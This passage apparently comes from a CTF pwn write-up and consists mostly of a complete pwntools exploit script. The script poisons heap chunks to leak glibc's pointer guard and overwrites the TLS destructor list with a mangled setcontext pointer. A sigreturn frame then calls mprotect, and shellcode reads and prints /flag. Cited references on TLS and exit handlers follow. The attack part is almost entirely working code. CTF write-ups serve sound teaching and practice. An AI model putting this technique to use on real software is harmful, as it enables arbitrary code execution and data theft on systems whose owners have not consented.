    edit(1, 0x18 * b'a' + p64(0x21) + p64(pguard_addr))
    add(2, 0x18)
    dbg.attach()
    add(3, 0x18)
    show(3)

    pointer_guard = u64(a.recvn(8))
    log.success(f"{pointer_guard=:#x}")

    libc = ELF("./libc-2.31.so")
    efuncs_addr = 0x1be718 + libc_base
    dtor_ptr = fs_base - 88
    add(5, 0x18)
    free(5)
    free(2)
    edit(1, 0x18 * b'a' + p64(0x21) + p64(dtor_ptr))
    add(2, 0x18)
    add(5, 0x18)
    add(6, 0x100)
    add(7, 0x100)
    add(8, 0x100)
    target_addr = heap_base + 0xa00
    edit(5, p64(target_addr))

    setcontext_addr = libc_base + libc.sym['setcontext'] + 0x35
    mprotect_addr = libc_base + libc.sym['mprotect']

    payload = dtor_list(ptr_mangle(setcontext_addr, pointer_guard, 8),
                        0,
                        0,
                        target_addr + 0x110).pack()
    edit(6, payload)

    frame = SigreturnFrame()
    frame.rdi = heap_base
    frame.rsi = 0x2000
    frame.rdx = 0x7
    frame.rip = mprotect_addr
    frame.rsp = target_addr + 0x220
    payload = bytes(frame)
    edit(7, payload)

    payload = p64(target_addr + 0x228)
    shellcode = f"""
/* open("flag", 0, 0) */
mov rax, {unpack(b"/flag", 'all')}
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall

/* read(fd, buf, 0x30) */
sub rsp, 0x30
mov rsi, rsp
mov rdi, rax
mov rdx, 0x30
mov rax, 0
syscall

/* write(1, buf, 0x30) */
mov rdi, 1
mov rax, 1
syscall
hlt
"""
    payload += asm(shellcode)

    edit(8, payload)
    choose(6)
    return


@attacker(GET_FLAG)
def get_flag(self, a:pwnlib.tubes.sock.sock):
   a.interactive()
   return


inter = None
needed = None
ctf(argv, inter, needed)

参考文献


  1. ELF Handling For Thread-Local Storage by Ulrich Drepper ↩︎
  2. A Deep dive into (implicit) Thread Local Storage ↩︎
  3. https://www.gnu.org/software/hurd/glibc/startup.html ↩︎
  4. https://lwn.net/Articles/631631/ ↩︎
  5. http://binholic.blogspot.com/2017/05/notes-on-abusing-exit-handlers.html ↩︎

Sinon想要一个npy